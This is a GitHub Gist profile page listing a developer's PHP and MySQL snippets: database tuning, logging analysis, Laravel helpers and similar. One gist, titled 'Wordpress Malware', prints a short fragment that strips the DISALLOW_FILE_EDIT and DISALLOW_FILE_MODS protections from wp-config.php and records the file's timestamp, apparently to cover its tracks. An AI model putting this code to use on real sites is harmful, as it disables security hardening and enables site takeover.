Skip to content

Instantly share code, notes, and snippets.

View phpfour's full-sized avatar

Mohammad Emran phpfour

View GitHub Profile
@phpfour
phpfour / Tag.php
Created November 13, 2022 00:55
Spatie Tag Custom Model
<?php declare(strict_types=1);
namespace App\Models;
use ArrayAccess;
use Illuminate\Database\Eloquent\Builder;
class Tag extends \Spatie\Tags\Tag
{
/**
@phpfour
phpfour / summary.md
Created July 29, 2022 00:38
Logging DB analysis

Current Implementation

  • Currently, all log information is in the logging table and as of now it has around ~2,13,92,493 records
  • Total size of data is ~36 GB (retrieved from information_schema table)
  • A record can have a size between 1KB to 10KB based on the amount of data stored.
  • With the current indexes in the table, logs for a single user can be fetched pretty quickly and uses const ref
mysql> EXPLAIN SELECT * FROM `logging` WHERE `member_id` = 45373 ORDER BY `id` DESC LIMIT 100 OFFSET 0;
+----+-------------+---------+------------+------+---------------------------+---------------------------+---------+-------+------+----------+-------------+
<?php
// Source: https://www.example-code.com/phpExt/hmrc_fraud_prevention_headers.asp
// The version number (9_5_0) should match version of the Chilkat extension used, omitting the micro-version number.
// For example, if using Chilkat v9.5.0.48, then include as shown here:
include("chilkat_9_5_0.php");
// This example requires the Chilkat API to have been previously unlocked.
// See Global Unlock Sample for sample code.
@phpfour
phpfour / seeds.patch
Created June 30, 2021 05:14
Akaunting Data Generator
Index: database/seeds/SampleData.php
IDEA additional info:
Subsystem: com.intellij.openapi.diff.impl.patch.CharsetEP
<+>UTF-8
===================================================================
diff --git a/database/seeds/SampleData.php b/database/seeds/SampleData.php
--- a/database/seeds/SampleData.php (revision 5a305a859efbc0568ff19820d21b432713df52ac)
+++ b/database/seeds/SampleData.php (date 1624084150026)
@@ -37,13 +37,15 @@
Contact::factory()->count($count)->create();
@phpfour
phpfour / emoji.php
Created January 30, 2021 06:18
A simple removeEmoji function in PHP
<?php
// @see https://stackoverflow.com/a/65179618/196121
function removeEmoji(string $text): string
{
$text = iconv('UTF-8', 'ISO-8859-15//IGNORE', $text);
$text = preg_replace('/\s+/', ' ', $text);
return iconv('ISO-8859-15', 'UTF-8', $text);
}
@phpfour
phpfour / database.sh
Created January 25, 2021 02:21
Frequent MySQL/MariaDB operations
MySQL Operations
--------------------------------------
In this document:
- Export/Import DB
- Export/Import Table from DB
- mysqladmin
- Repair DB
--------------------------------------
@phpfour
phpfour / my.cnf
Created January 25, 2021 02:18 — forked from fevangelou/my.cnf
Optimized my.cnf configuration for MySQL/MariaSQL (on Ubuntu, CentOS etc. servers)
# Optimized my.cnf configuration for MySQL/MariaSQL
#
# by Fotis Evangelou, developer of Engintron (engintron.com)
#
# ~ Updated January 2020 ~
#
#
# The settings provided below are a starting point for a 2GB - 4GB RAM server with 2-4 CPU cores.
# If you have different resources available you should adjust accordingly to save CPU, RAM & disk I/O usage.
#
@phpfour
phpfour / LanguageType.php
Created April 1, 2020 10:42
Language List in PHP
<?php
/**
* ISO 639-1 Language Codes
*
* References: http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
*/
class LanguageType
{
public static $list = [
@phpfour
phpfour / replace.php
Created October 25, 2019 15:06
Wordpress Malware
<?php
$str = file_get_contents("../../wp-config.php");
$str = str_replace("define('DISALLOW_FILE_EDIT', true);","",$str);
$str = str_replace("define('DISALLOW_FILE_MODS', true);","",$str);
$ftime1 = filemtime("../../wp-config.php");
file_put_contents("../../wp-config.php", $str);
@phpfour
phpfour / HttpUtility.php
Created September 9, 2019 14:17
HttpUtility
<?php
namespace Vroom\Notification\Utility;
final class HttpUtility
{
public static function requestAsync($url, $params = [], $headers = [], $method = 'POST', $timeout = 30)
{
$paramString = http_build_query($params);